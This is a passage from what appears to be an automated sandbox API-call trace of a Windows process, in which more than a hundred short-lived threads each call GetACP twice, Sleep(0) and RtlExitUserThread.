0x1508 [0116.169] GetACP () returned 0x4e4 [0116.169] GetACP () returned 0x4e4 [0116.169] Sleep (dwMilliseconds=0x0) [0116.233] RtlExitUserThread (Status=0x0) Thread: id = 414 os_tid = 0x150c [0116.169] GetACP () returned 0x4e4 [0116.169] GetACP () returned 0x4e4 [0116.169] Sleep (dwMilliseconds=0x0) [0116.233] RtlExitUserThread (Status=0x0) Thread: id = 415 os_tid = 0x1510 [0116.170] GetACP () returned 0x4e4 [0116.170] GetACP () returned 0x4e4 [0116.170] Sleep (dwMilliseconds=0x0) [0116.235] RtlExitUserThread (Status=0x0) Thread: id = 416 os_tid = 0x1514 [0116.171] GetACP () returned 0x4e4 [0116.171] GetACP () returned 0x4e4 [0116.171] Sleep (dwMilliseconds=0x0) [0116.235] RtlExitUserThread (Status=0x0) Thread: id = 417 os_tid = 0x1518 [0116.171] GetACP () returned 0x4e4 [0116.171] GetACP () returned 0x4e4 [0116.171] Sleep (dwMilliseconds=0x0) [0116.236] RtlExitUserThread (Status=0x0) Thread: id = 418 os_tid = 0x151c [0116.171] GetACP () returned 0x4e4 [0116.171] GetACP () returned 0x4e4 [0116.171] Sleep (dwMilliseconds=0x0) [0116.237] RtlExitUserThread (Status=0x0) Thread: id = 419 os_tid = 0x1520 [0116.172] GetACP () returned 0x4e4 [0116.172] GetACP () returned 0x4e4 [0116.172] Sleep (dwMilliseconds=0x0) [0116.237] RtlExitUserThread (Status=0x0) Thread: id = 420 os_tid = 0x1524 [0116.172] GetACP () returned 0x4e4 [0116.172] GetACP () returned 0x4e4 [0116.172] Sleep (dwMilliseconds=0x0) [0116.238] RtlExitUserThread (Status=0x0) Thread: id = 421 os_tid = 0x1528 [0116.173] GetACP () returned 0x4e4 [0116.173] GetACP () returned 0x4e4 [0116.173] Sleep (dwMilliseconds=0x0) [0116.238] RtlExitUserThread (Status=0x0) Thread: id = 422 os_tid = 0x152c [0116.173] GetACP () returned 0x4e4 [0116.173] GetACP () returned 0x4e4 [0116.173] Sleep (dwMilliseconds=0x0) [0116.239] RtlExitUserThread (Status=0x0) Thread: id = 423 os_tid = 0x1554 [0117.116] GetACP () returned 0x4e4 [0117.116] GetACP () returned 0x4e4 [0117.116] Sleep (dwMilliseconds=0x0) [0117.194] RtlExitUserThread (Status=0x0) Thread: id = 424 os_tid = 0x1558 [0117.117] GetACP () returned 0x4e4 [0117.117] GetACP () returned 0x4e4 [0117.117] Sleep (dwMilliseconds=0x0) [0117.195] RtlExitUserThread (Status=0x0) Thread: id = 425 os_tid = 0x155c [0117.117] GetACP () returned 0x4e4 [0117.117] GetACP () returned 0x4e4 [0117.117] Sleep (dwMilliseconds=0x0) [0117.195] RtlExitUserThread (Status=0x0) Thread: id = 426 os_tid = 0x1560 [0117.118] GetACP () returned 0x4e4 [0117.118] GetACP () returned 0x4e4 [0117.118] Sleep (dwMilliseconds=0x0) [0117.195] RtlExitUserThread (Status=0x0) Thread: id = 427 os_tid = 0x1564 [0117.118] GetACP () returned 0x4e4 [0117.118] GetACP () returned 0x4e4 [0117.118] Sleep (dwMilliseconds=0x0) [0117.196] RtlExitUserThread (Status=0x0) Thread: id = 428 os_tid = 0x1568 [0117.118] GetACP () returned 0x4e4 [0117.118] GetACP () returned 0x4e4 [0117.118] Sleep (dwMilliseconds=0x0) [0117.196] RtlExitUserThread (Status=0x0) Thread: id = 429 os_tid = 0x156c [0117.119] GetACP () returned 0x4e4 [0117.119] GetACP () returned 0x4e4 [0117.119] Sleep (dwMilliseconds=0x0) [0117.197] RtlExitUserThread (Status=0x0) Thread: id = 430 os_tid = 0x1570 [0117.119] GetACP () returned 0x4e4 [0117.119] GetACP () returned 0x4e4 [0117.119] Sleep (dwMilliseconds=0x0) [0117.197] RtlExitUserThread (Status=0x0) Thread: id = 431 os_tid = 0x1574 [0117.119] GetACP () returned 0x4e4 [0117.119] GetACP () returned 0x4e4 [0117.119] Sleep (dwMilliseconds=0x0) [0117.198] RtlExitUserThread (Status=0x0) Thread: id = 432 os_tid = 0x1578 [0117.120] GetACP () returned 0x4e4 [0117.120] GetACP () returned 0x4e4 [0117.120] Sleep (dwMilliseconds=0x0) [0117.198] RtlExitUserThread (Status=0x0) Thread: id = 433 os_tid = 0x157c [0117.120] GetACP () returned 0x4e4 [0117.120] GetACP () returned 0x4e4 [0117.120] Sleep (dwMilliseconds=0x0) [0117.198] RtlExitUserThread (Status=0x0) Thread: id = 434 os_tid = 0x1580 [0117.120] GetACP () returned 0x4e4 [0117.120] GetACP () returned 0x4e4 [0117.120] Sleep (dwMilliseconds=0x0) [0117.199] RtlExitUserThread (Status=0x0) Thread: id = 435 os_tid = 0x1584 [0117.121] GetACP () returned 0x4e4 [0117.121] GetACP () returned 0x4e4 [0117.121] Sleep (dwMilliseconds=0x0) [0117.199] RtlExitUserThread (Status=0x0) Thread: id = 436 os_tid = 0x1588 [0117.121] GetACP () returned 0x4e4 [0117.121] GetACP () returned 0x4e4 [0117.121] Sleep (dwMilliseconds=0x0) [0117.200] RtlExitUserThread (Status=0x0) Thread: id = 437 os_tid = 0x158c [0117.121] GetACP () returned 0x4e4 [0117.121] GetACP () returned 0x4e4 [0117.121] Sleep (dwMilliseconds=0x0) [0117.200] RtlExitUserThread (Status=0x0) Thread: id = 438 os_tid = 0x1590 [0117.122] GetACP () returned 0x4e4 [0117.122] GetACP () returned 0x4e4 [0117.122] Sleep (dwMilliseconds=0x0) [0117.201] RtlExitUserThread (Status=0x0) Thread: id = 439 os_tid = 0x1594 [0117.122] GetACP () returned 0x4e4 [0117.122] GetACP () returned 0x4e4 [0117.122] Sleep (dwMilliseconds=0x0) [0117.201] RtlExitUserThread (Status=0x0) Thread: id = 440 os_tid = 0x1598 [0117.123] GetACP () returned 0x4e4 [0117.123] GetACP () returned 0x4e4 [0117.123] Sleep (dwMilliseconds=0x0) [0117.202] RtlExitUserThread (Status=0x0) Thread: id = 441 os_tid = 0x159c [0117.123] GetACP () returned 0x4e4 [0117.123] GetACP () returned 0x4e4 [0117.123] Sleep (dwMilliseconds=0x0) [0117.202] RtlExitUserThread (Status=0x0) Thread: id = 442 os_tid = 0x15a0 [0117.123] GetACP () returned 0x4e4 [0117.123] GetACP () returned 0x4e4 [0117.123] Sleep (dwMilliseconds=0x0) [0117.203] RtlExitUserThread (Status=0x0) Thread: id = 443 os_tid = 0x15a4 [0117.204] GetACP () returned 0x4e4 [0117.204] GetACP () returned 0x4e4 [0117.204] Sleep (dwMilliseconds=0x0) [0117.262] RtlExitUserThread (Status=0x0) Thread: id = 444 os_tid = 0x15a8 [0117.204] GetACP () returned 0x4e4 [0117.204] GetACP () returned 0x4e4 [0117.204] Sleep (dwMilliseconds=0x0) [0117.263] RtlExitUserThread (Status=0x0) Thread: id = 445 os_tid = 0x15ac [0117.204] GetACP () returned 0x4e4 [0117.204] GetACP () returned 0x4e4 [0117.205] Sleep (dwMilliseconds=0x0) [0117.263] RtlExitUserThread (Status=0x0) Thread: id = 446 os_tid = 0x15b0 [0117.205] GetACP () returned 0x4e4 [0117.205] GetACP () returned 0x4e4 [0117.205] Sleep (dwMilliseconds=0x0) [0117.264] RtlExitUserThread (Status=0x0) Thread: id = 447 os_tid = 0x15b4 [0117.205] GetACP () returned 0x4e4 [0117.205] GetACP () returned 0x4e4 [0117.205] Sleep (dwMilliseconds=0x0) [0117.264] RtlExitUserThread (Status=0x0) Thread: id = 448 os_tid = 0x15b8 [0117.206] GetACP () returned 0x4e4 [0117.206] GetACP () returned 0x4e4 [0117.206] Sleep (dwMilliseconds=0x0) [0117.264] RtlExitUserThread (Status=0x0) Thread: id = 449 os_tid = 0x15bc [0117.206] GetACP () returned 0x4e4 [0117.206] GetACP () returned 0x4e4 [0117.206] Sleep (dwMilliseconds=0x0) [0117.265] RtlExitUserThread (Status=0x0) Thread: id = 450 os_tid = 0x15c0 [0117.206] GetACP () returned 0x4e4 [0117.206] GetACP () returned 0x4e4 [0117.206] Sleep (dwMilliseconds=0x0) [0117.265] RtlExitUserThread (Status=0x0) Thread: id = 451 os_tid = 0x15c4 [0117.207] GetACP () returned 0x4e4 [0117.207] GetACP () returned 0x4e4 [0117.207] Sleep (dwMilliseconds=0x0) [0117.266] RtlExitUserThread (Status=0x0) Thread: id = 452 os_tid = 0x15c8 [0117.207] GetACP () returned 0x4e4 [0117.207] GetACP () returned 0x4e4 [0117.207] Sleep (dwMilliseconds=0x0) [0117.266] RtlExitUserThread (Status=0x0) Thread: id = 453 os_tid = 0x15cc [0117.207] GetACP () returned 0x4e4 [0117.207] GetACP () returned 0x4e4 [0117.207] Sleep (dwMilliseconds=0x0) [0117.267] RtlExitUserThread (Status=0x0) Thread: id = 454 os_tid = 0x15d0 [0117.208] GetACP () returned 0x4e4 [0117.208] GetACP () returned 0x4e4 [0117.208] Sleep (dwMilliseconds=0x0) [0117.267] RtlExitUserThread (Status=0x0) Thread: id = 455 os_tid = 0x15d4 [0117.208] GetACP () returned 0x4e4 [0117.208] GetACP () returned 0x4e4 [0117.208] Sleep (dwMilliseconds=0x0) [0117.267] RtlExitUserThread (Status=0x0) Thread: id = 456 os_tid = 0x15d8 [0117.208] GetACP () returned 0x4e4 [0117.208] GetACP () returned 0x4e4 [0117.208] Sleep (dwMilliseconds=0x0) [0117.268] RtlExitUserThread (Status=0x0) Thread: id = 457 os_tid = 0x15dc [0117.209] GetACP () returned 0x4e4 [0117.209] GetACP () returned 0x4e4 [0117.209] Sleep (dwMilliseconds=0x0) [0117.268] RtlExitUserThread (Status=0x0) Thread: id = 458 os_tid = 0x15e0 [0117.209] GetACP () returned 0x4e4 [0117.209] GetACP () returned 0x4e4 [0117.209] Sleep (dwMilliseconds=0x0) [0117.269] RtlExitUserThread (Status=0x0) Thread: id = 459 os_tid = 0x15e4 [0117.210] GetACP () returned 0x4e4 [0117.210] GetACP () returned 0x4e4 [0117.210] Sleep (dwMilliseconds=0x0) [0117.269] RtlExitUserThread (Status=0x0) Thread: id = 460 os_tid = 0x15e8 [0117.210] GetACP () returned 0x4e4 [0117.210] GetACP () returned 0x4e4 [0117.210] Sleep (dwMilliseconds=0x0) [0117.270] RtlExitUserThread (Status=0x0) Thread: id = 461 os_tid = 0x15ec [0117.210] GetACP () returned 0x4e4 [0117.210] GetACP () returned 0x4e4 [0117.210] Sleep (dwMilliseconds=0x0) [0117.270] RtlExitUserThread (Status=0x0) Thread: id = 462 os_tid = 0x15f0 [0117.211] GetACP () returned 0x4e4 [0117.211] GetACP () returned 0x4e4 [0117.211] Sleep (dwMilliseconds=0x0) [0117.271] RtlExitUserThread (Status=0x0) Thread: id = 463 os_tid = 0x15f4 [0117.271] GetACP () returned 0x4e4 [0117.271] GetACP () returned 0x4e4 [0117.271] Sleep (dwMilliseconds=0x0) [0117.319] RtlExitUserThread (Status=0x0) Thread: id = 464 os_tid = 0x15f8 [0117.272] GetACP () returned 0x4e4 [0117.272] GetACP () returned 0x4e4 [0117.272] Sleep (dwMilliseconds=0x0) [0117.319] RtlExitUserThread (Status=0x0) Thread: id = 465 os_tid = 0x15fc [0117.272] GetACP () returned 0x4e4 [0117.272] GetACP () returned 0x4e4 [0117.272] Sleep (dwMilliseconds=0x0) [0117.320] RtlExitUserThread (Status=0x0) Thread: id = 466 os_tid = 0x1600 [0117.272] GetACP () returned 0x4e4 [0117.273] GetACP () returned 0x4e4 [0117.273] Sleep (dwMilliseconds=0x0) [0117.320] RtlExitUserThread (Status=0x0) Thread: id = 467 os_tid = 0x1604 [0117.273] GetACP () returned 0x4e4 [0117.273] GetACP () returned 0x4e4 [0117.273] Sleep (dwMilliseconds=0x0) [0117.321] RtlExitUserThread (Status=0x0) Thread: id = 468 os_tid = 0x1608 [0117.273] GetACP () returned 0x4e4 [0117.273] GetACP () returned 0x4e4 [0117.273] Sleep (dwMilliseconds=0x0) [0117.321] RtlExitUserThread (Status=0x0) Thread: id = 469 os_tid = 0x160c [0117.274] GetACP () returned 0x4e4 [0117.274] GetACP () returned 0x4e4 [0117.274] Sleep (dwMilliseconds=0x0) [0117.322] RtlExitUserThread (Status=0x0) Thread: id = 470 os_tid = 0x1610 [0117.274] GetACP () returned 0x4e4 [0117.274] GetACP () returned 0x4e4 [0117.274] Sleep (dwMilliseconds=0x0) [0117.322] RtlExitUserThread (Status=0x0) Thread: id = 471 os_tid = 0x1614 [0117.274] GetACP () returned 0x4e4 [0117.274] GetACP () returned 0x4e4 [0117.274] Sleep (dwMilliseconds=0x0) [0117.323] RtlExitUserThread (Status=0x0) Thread: id = 472 os_tid = 0x1618 [0117.275] GetACP () returned 0x4e4 [0117.275] GetACP () returned 0x4e4 [0117.275] Sleep (dwMilliseconds=0x0) [0117.323] RtlExitUserThread (Status=0x0) Thread: id = 473 os_tid = 0x161c [0117.275] GetACP () returned 0x4e4 [0117.275] GetACP () returned 0x4e4 [0117.275] Sleep (dwMilliseconds=0x0) [0117.323] RtlExitUserThread (Status=0x0) Thread: id = 474 os_tid = 0x1620 [0117.275] GetACP () returned 0x4e4 [0117.275] GetACP () returned 0x4e4 [0117.275] Sleep (dwMilliseconds=0x0) [0117.324] RtlExitUserThread (Status=0x0) Thread: id = 475 os_tid = 0x1624 [0117.276] GetACP () returned 0x4e4 [0117.276] GetACP () returned 0x4e4 [0117.276] Sleep (dwMilliseconds=0x0) [0117.324] RtlExitUserThread (Status=0x0) Thread: id = 476 os_tid = 0x1628 [0117.276] GetACP () returned 0x4e4 [0117.276] GetACP () returned 0x4e4 [0117.276] Sleep (dwMilliseconds=0x0) [0117.325] RtlExitUserThread (Status=0x0) Thread: id = 477 os_tid = 0x162c [0117.276] GetACP () returned 0x4e4 [0117.276] GetACP () returned 0x4e4 [0117.276] Sleep (dwMilliseconds=0x0) [0117.325] RtlExitUserThread (Status=0x0) Thread: id = 478 os_tid = 0x1630 [0117.277] GetACP () returned 0x4e4 [0117.277] GetACP () returned 0x4e4 [0117.277] Sleep (dwMilliseconds=0x0) [0117.326] RtlExitUserThread (Status=0x0) Thread: id = 479 os_tid = 0x1634 [0117.277] GetACP () returned 0x4e4 [0117.277] GetACP () returned 0x4e4 [0117.277] Sleep (dwMilliseconds=0x0) [0117.326] RtlExitUserThread (Status=0x0) Thread: id = 480 os_tid = 0x1638 [0117.277] GetACP () returned 0x4e4 [0117.277] GetACP () returned 0x4e4 [0117.277] Sleep (dwMilliseconds=0x0) [0117.327] RtlExitUserThread (Status=0x0) Thread: id = 481 os_tid = 0x163c [0117.278] GetACP () returned 0x4e4 [0117.278] GetACP () returned 0x4e4 [0117.278] Sleep (dwMilliseconds=0x0) [0117.327] RtlExitUserThread (Status=0x0) Thread: id = 482 os_tid = 0x1640 [0117.278] GetACP () returned 0x4e4 [0117.278] GetACP () returned 0x4e4 [0117.278] Sleep (dwMilliseconds=0x0) [0117.328] RtlExitUserThread (Status=0x0) Thread: id = 483 os_tid = 0x1644 [0117.328] GetACP () returned 0x4e4 [0117.328] GetACP () returned 0x4e4 [0117.328] Sleep (dwMilliseconds=0x0) [0117.381] RtlExitUserThread (Status=0x0) Thread: id = 484 os_tid = 0x1648 [0117.329] GetACP () returned 0x4e4 [0117.329] GetACP () returned 0x4e4 [0117.329] Sleep (dwMilliseconds=0x0) [0117.382] RtlExitUserThread (Status=0x0) Thread: id = 485 os_tid = 0x164c [0117.329] GetACP () returned 0x4e4 [0117.329] GetACP () returned 0x4e4 [0117.329] Sleep (dwMilliseconds=0x0) [0117.383] RtlExitUserThread (Status=0x0) Thread: id = 486 os_tid = 0x1650 [0117.329] GetACP () returned 0x4e4 [0117.329] GetACP () returned 0x4e4 [0117.329] Sleep (dwMilliseconds=0x0) [0117.383] RtlExitUserThread (Status=0x0) Thread: id = 487 os_tid = 0x1654 [0117.330] GetACP () returned 0x4e4 [0117.330] GetACP () returned 0x4e4 [0117.330] Sleep (dwMilliseconds=0x0) [0117.384] RtlExitUserThread (Status=0x0) Thread: id = 488 os_tid = 0x1658 [0117.330] GetACP () returned 0x4e4 [0117.330] GetACP () returned 0x4e4 [0117.330] Sleep (dwMilliseconds=0x0) [0117.385] RtlExitUserThread (Status=0x0) Thread: id = 489 os_tid = 0x165c [0117.331] GetACP () returned 0x4e4 [0117.331] GetACP () returned 0x4e4 [0117.331] Sleep (dwMilliseconds=0x0) [0117.385] RtlExitUserThread (Status=0x0) Thread: id = 490 os_tid = 0x1660 [0117.331] GetACP () returned 0x4e4 [0117.331] GetACP () returned 0x4e4 [0117.331] Sleep (dwMilliseconds=0x0) [0117.385] RtlExitUserThread (Status=0x0) Thread: id = 491 os_tid = 0x1664 [0117.331] GetACP () returned 0x4e4 [0117.331] GetACP () returned 0x4e4 [0117.331] Sleep (dwMilliseconds=0x0) [0117.386] RtlExitUserThread (Status=0x0) Thread: id = 492 os_tid = 0x1668 [0117.332] GetACP () returned 0x4e4 [0117.332] GetACP () returned 0x4e4 [0117.332] Sleep (dwMilliseconds=0x0) [0117.386] RtlExitUserThread (Status=0x0) Thread: id = 493 os_tid = 0x166c [0117.332] GetACP () returned 0x4e4 [0117.332] GetACP () returned 0x4e4 [0117.332] Sleep (dwMilliseconds=0x0) [0117.387] RtlExitUserThread (Status=0x0) Thread: id = 494 os_tid = 0x1670 [0117.332] GetACP () returned 0x4e4 [0117.332] GetACP () returned 0x4e4 [0117.332] Sleep (dwMilliseconds=0x0) [0117.387] RtlExitUserThread (Status=0x0) Thread: id = 495 os_tid = 0x1674 [0117.333] GetACP () returned 0x4e4 [0117.333] GetACP () returned 0x4e4 [0117.333] Sleep (dwMilliseconds=0x0) [0117.388] RtlExitUserThread (Status=0x0) Thread: id = 496 os_tid = 0x1678 [0117.333] GetACP () returned 0x4e4 [0117.333] GetACP () returned 0x4e4 [0117.333] Sleep (dwMilliseconds=0x0) [0117.388] RtlExitUserThread (Status=0x0) Thread: id = 497 os_tid = 0x167c [0117.334] GetACP () returned 0x4e4 [0117.334] GetACP () returned 0x4e4 [0117.334] Sleep (dwMilliseconds=0x0) [0117.389] RtlExitUserThread (Status=0x0) Thread: id = 498 os_tid = 0x1680 [0117.334] GetACP () returned 0x4e4 [0117.334] GetACP () returned 0x4e4 [0117.334] Sleep (dwMilliseconds=0x0) [0117.390] RtlExitUserThread (Status=0x0) Thread: id = 499 os_tid = 0x1684 [0117.335] GetACP () returned 0x4e4 [0117.335] GetACP () returned 0x4e4 [0117.335] Sleep (dwMilliseconds=0x0) [0117.390] RtlExitUserThread (Status=0x0) Thread: id = 500 os_tid = 0x1688 [0117.335] GetACP () returned 0x4e4 [0117.335] GetACP () returned 0x4e4 [0117.335] Sleep (dwMilliseconds=0x0) [0117.390] RtlExitUserThread (Status=0x0) Thread: id = 501 os_tid = 0x168c [0117.335] GetACP () returned 0x4e4 [0117.335] GetACP () returned 0x4e4 [0117.335] Sleep (dwMilliseconds=0x0) [0117.391] RtlExitUserThread (Status=0x0) Thread: id = 502 os_tid = 0x1690 [0117.336] GetACP () returned 0x4e4 [0117.336] GetACP () returned 0x4e4 [0117.336] Sleep (dwMilliseconds=0x0) [0117.391] RtlExitUserThread (Status=0x0) Thread: id = 503 os_tid = 0x1694 [0117.393] GetACP () returned 0x4e4 [0117.393] GetACP () returned 0x4e4 [0117.393] Sleep (dwMilliseconds=0x0) [0117.444] RtlExitUserThread (Status=0x0) Thread: id = 504 os_tid = 0x1698 [0117.393] GetACP () returned 0x4e4 [0117.393] GetACP () returned 0x4e4 [0117.393] Sleep (dwMilliseconds=0x0) [0117.445] RtlExitUserThread (Status=0x0) Thread: id = 505 os_tid = 0x169c [0117.393] GetACP () returned 0x4e4 [0117.393] GetACP () returned 0x4e4 [0117.393] Sleep (dwMilliseconds=0x0) [0117.445] RtlExitUserThread (Status=0x0) Thread: id = 506 os_tid = 0x16a0 [0117.394] GetACP () returned 0x4e4 [0117.394] GetACP () returned 0x4e4 [0117.394] Sleep (dwMilliseconds=0x0) [0117.446] RtlExitUserThread (Status=0x0) Thread: id = 507 os_tid = 0x16a4 [0117.394] GetACP () returned 0x4e4 [0117.394] GetACP () returned 0x4e4 [0117.394] Sleep (dwMilliseconds=0x0) [0117.446] RtlExitUserThread (Status=0x0) Thread: id = 508 os_tid = 0x16a8 [0117.395] GetACP () returned 0x4e4 [0117.395] GetACP () returned 0x4e4 [0117.395] Sleep (dwMilliseconds=0x0) [0117.446] RtlExitUserThread (Status=0x0) Thread: id = 509 os_tid = 0x16ac [0117.395] GetACP () returned 0x4e4 [0117.395] GetACP () returned 0x4e4 [0117.395] Sleep (dwMilliseconds=0x0) [0117.447] RtlExitUserThread (Status=0x0) Thread: id = 510 os_tid = 0x16b0 [0117.395] GetACP () returned 0x4e4 [0117.395] GetACP () returned 0x4e4 [0117.395] Sleep (dwMilliseconds=0x0) [0117.447] RtlExitUserThread (Status=0x0) Thread: id = 511 os_tid = 0x16b4 [0117.396] GetACP () returned 0x4e4 [0117.396] GetACP () returned 0x4e4 [0117.396] Sleep (dwMilliseconds=0x0) [0117.448] RtlExitUserThread (Status=0x0) Thread: id = 512 os_tid = 0x16b8 [0117.396] GetACP () returned 0x4e4 [0117.396] GetACP () returned 0x4e4 [0117.396] Sleep (dwMilliseconds=0x0) [0117.448] RtlExitUserThread (Status=0x0) Thread: id = 513 os_tid = 0x16bc [0117.397] GetACP () returned 0x4e4 [0117.397] GetACP () returned 0x4e4 [0117.397] Sleep (dwMilliseconds=0x0) [0117.449] RtlExitUserThread (Status=0x0) Thread: id = 514 os_tid = 0x16c0 [0117.397] GetACP () returned 0x4e4 [0117.397] GetACP () returned 0x4e4 [0117.397] Sleep (dwMilliseconds=0x0) [0117.450] RtlExitUserThread (Status=0x0) Thread: id = 515 os_tid = 0x16c4 [0117.398] GetACP () returned 0x4e4 [0117.398] GetACP () returned 0x4e4 [0117.398] Sleep (dwMilliseconds=0x0) [0117.450] RtlExitUserThread (Status=0x0) Thread: id = 516 os_tid = 0x16c8 [0117.398] GetACP () returned 0x4e4 [0117.398] GetACP () returned 0x4e4 [0117.398] Sleep (dwMilliseconds=0x0) [0117.451] RtlExitUserThread (Status=0x0) Thread: id = 517 os_tid = 0x16cc [0117.399] GetACP () returned 0x4e4 [0117.399] GetACP () returned 0x4e4 [0117.399] Sleep (dwMilliseconds=0x0) [0117.451] RtlExitUserThread (Status=0x0) Thread: id = 518 os_tid = 0x16d0 [0117.399] GetACP () returned 0x4e4 [0117.399] GetACP () returned 0x4e4 [0117.399] Sleep (dwMilliseconds=0x0) [0117.452] RtlExitUserThread (Status=0x0) Thread: id = 519 os_tid = 0x16d4 [0117.399] GetACP () returned 0x4e4 [0117.399] GetACP () returned 0x4e4 [0117.399] Sleep (dwMilliseconds=0x0) [0117.452] RtlExitUserThread (Status=0x0) Thread: id = 520 os_tid = 0x16d8 [0117.400] GetACP () returned 0x4e4 [0117.400] GetACP () returned 0x4e4 [0117.400] Sleep (dwMilliseconds=0x0) [0117.453] RtlExitUserThread (Status=0x0) Thread: id = 521 os_tid = 0x16dc [0117.400] GetACP () returned 0x4e4 [0117.400] GetACP () returned 0x4e4 [0117.400] Sleep (dwMilliseconds=0x0) [0117.453] RtlExitUserThread (Status=0x0) Thread: id = 522 os_tid = 0x16e0 [0117.401] GetACP () returned 0x4e4 [0117.401] GetACP () returned 0x4e4 [0117.401] Sleep (dwMilliseconds=0x0) [0117.454] RtlExitUserThread (Status=0x0) Thread: id = 523 os_tid = 0x16e4 [0117.455] GetACP () returned 0x4e4 [0117.455] GetACP () returned 0x4e4 [0117.455] Sleep (dwMilliseconds=0x0) [0117.523] RtlExitUserThread (Status=0x0) Thread: id = 524 os_tid = 0x16e8 [0117.455] GetACP () returned 0x4e4 [0117.455] GetACP () returned 0x4e4 [0117.455] Sleep (dwMilliseconds=0x0) [0117.523] RtlExitUserThread (Status=0x0) Thread: id = 525 os_tid = 0x16ec [0117.456] GetACP () returned 0x4e4 [0117.456] GetACP () returned 0x4e4 [0117.456] Sleep (dwMilliseconds=0x0) [0117.524] RtlExitUserThread (Status=0x0) Thread: id = 526 os_tid = 0x16f0 [0117.456] GetACP () returned 0x4e4 [0117.456] GetACP () returned 0x4e4 [0117.456] Sleep (dwMilliseconds=0x0) [0117.524] RtlExitUserThread (Status=0x0) Thread: id = 527 os_tid = 0x16f4 [0117.456] GetACP () returned 0x4e4 [0117.456] GetACP () returned 0x4e4 [0117.456] Sleep (dwMilliseconds=0x0) [0117.525] RtlExitUserThread (Status=0x0) Thread: id = 528 os_tid = 0x16f8 [0117.457] GetACP () returned 0x4e4 [0117.457] GetACP () returned 0x4e4 [0117.457] Sleep (dwMilliseconds=0x0) [0117.525] RtlExitUserThread (Status=0x0) Thread: id = 529 os_tid = 0x16fc [0117.457] GetACP () returned 0x4e4 [0117.457] GetACP () returned 0x4e4 [0117.457] Sleep (dwMilliseconds=0x0) [0117.526] RtlExitUserThread (Status=0x0) Thread: id = 530 os_tid = 0x1700 [0117.458] GetACP () returned 0x4e4 [0117.458] GetACP () returned 0x4e4 [0117.458] Sleep (dwMilliseconds=0x0) [0117.526] RtlExitUserThread (Status=0x0) Thread: id = 531 os_tid = 0x1704 [0117.458] GetACP () returned 0x4e4 [0117.458] GetACP () returned 0x4e4 [0117.458] Sleep (dwMilliseconds=0x0) [0117.527] RtlExitUserThread (Status=0x0) Thread: id = 532 os_tid = 0x1708 [0117.458] GetACP () returned 0x4e4 [0117.458] GetACP () returned 0x4e4 [0117.458] Sleep (dwMilliseconds=0x0) [0117.527] RtlExitUserThread (Status=0x0) Thread: id = 533 os_tid = 0x170c [0117.459] GetACP () returned 0x4e4 [0117.459] GetACP () returned 0x4e4 [0117.459] Sleep (dwMilliseconds=0x0) [0117.528] RtlExitUserThread (Status=0x0) Thread: id = 534 os_tid = 0x1710 [0117.460] GetACP () returned 0x4e4 [0117.460] GetACP () returned 0x4e4 [0117.460] Sleep (dwMilliseconds=0x0) [0117.528] RtlExitUserThread (Status=0x0) Thread: id = 535 os_tid = 0x1714 [0117.460] GetACP () returned 0x4e4 [0117.460] GetACP () returned 0x4e4 [0117.460] Sleep (dwMilliseconds=0x0) [0117.529] RtlExitUserThread (Status=0x0) Thread: id = 536 os_tid = 0x1718 [0117.460] GetACP () returned 0x4e4 [0117.460] GetACP () returned 0x4e4 [0117.460] Sleep (dwMilliseconds=0x0) [0117.529] RtlExitUserThread (Status=0x0) Thread: id = 537 os_tid = 0x171c [0117.461] GetACP () returned 0x4e4 [0117.461] GetACP () returned 0x4e4 [0117.461] Sleep (dwMilliseconds=0x0) [0117.530] RtlExitUserThread (Status=0x0) Thread: id = 538 os_tid = 0x1720 [0117.461] GetACP () returned 0x4e4 [0117.461] GetACP () returned 0x4e4 [0117.461] Sleep (dwMilliseconds=0x0) [0117.530] RtlExitUserThread (Status=0x0) Thread: id = 539 os_tid = 0x1724 [0117.462] GetACP () returned 0x4e4 [0117.462] GetACP () returned 0x4e4 [0117.462] Sleep (dwMilliseconds=0x0) [0117.531] RtlExitUserThread (Status=0x0) Thread: id = 540 os_tid = 0x1728 [0117.462] GetACP () returned 0x4e4 [0117.462] GetACP () returned 0x4e4 [0117.462] Sleep (dwMilliseconds=0x0) [0117.531] RtlExitUserThread (Status=0x0) Thread: id = 541 os_tid = 0x172c [0117.462] GetACP () returned 0x4e4 [0117.462] GetACP () returned 0x4e4 [0117.462] Sleep (dwMilliseconds=0x0) [0117.532] RtlExitUserThread (Status=0x0) Thread: id = 542 os_tid = 0x1730 [0117.463] GetACP () returned 0x4e4 [0117.463] GetACP () returned 0x4e4 [0117.463] Sleep (dwMilliseconds=0x0) [0117.532] RtlExitUserThread (Status=0x0) Thread: id = 543 os_tid = 0x1738 [0117.533] GetACP () returned 0x4e4 [0117.533] GetACP () returned 0x4e4 [0117.533] Sleep (dwMilliseconds=0x0) [0117.695] RtlExitUserThread (Status=0x0) Thread: id = 544 os_tid = 0x173c [0117.534] GetACP () returned 0x4e4 [0117.534] GetACP () returned 0x4e4 [0117.534] Sleep (dwMilliseconds=0x0) [0117.696] RtlExitUserThread (Status=0x0) Thread: id = 545 os_tid = 0x1740 [0117.535] GetACP () returned 0x4e4 [0117.535] GetACP () returned 0x4e4 [0117.535] Sleep (dwMilliseconds=0x0) [0117.697] RtlExitUserThread (Status=0x0) Thread: id = 546 os_tid = 0x1744 [0117.535] GetACP () returned 0x4e4 [0117.535] GetACP () returned 0x4e4 [0117.535] Sleep (dwMilliseconds=0x0) [0117.698] RtlExitUserThread (Status=0x0) Thread: id = 547 os_tid = 0x1748 [0117.536] GetACP () returned 0x4e4 [0117.536] GetACP () returned 0x4e4 [0117.536] Sleep (dwMilliseconds=0x0) [0117.699] RtlExitUserThread (Status=0x0) Thread: id = 548 os_tid = 0x174c [0117.536] GetACP () returned 0x4e4 [0117.536] GetACP () returned 0x4e4 [0117.536] Sleep (dwMilliseconds=0x0) [0117.700] RtlExitUserThread (Status=0x0) Thread: id = 549 os_tid = 0x1750 [0117.537] GetACP () returned 0x4e4 [0117.537] GetACP () returned 0x4e4 [0117.537] Sleep (dwMilliseconds=0x0) [0117.701] RtlExitUserThread (Status=0x0) Thread: id = 550 os_tid = 0x1754 [0117.537] GetACP () returned 0x4e4 [0117.537] GetACP () returned 0x4e4 [0117.537] Sleep (dwMilliseconds=0x0) [0117.702] RtlExitUserThread (Status=0x0) Thread: id = 551 os_tid = 0x1758 [0117.645] GetACP () returned 0x4e4 [0117.645] GetACP () returned 0x4e4 [0117.645] Sleep (dwMilliseconds=0x0) [0117.741] RtlExitUserThread (Status=0x0) Thread: id = 552 os_tid = 0x175c [0117.646] GetACP () returned 0x4e4 [0117.646] GetACP () returned 0x4e4 [0117.646] Sleep (dwMilliseconds=0x0) [0117.743] RtlExitUserThread (Status=0x0) Thread: id = 553 os_tid = 0x1760 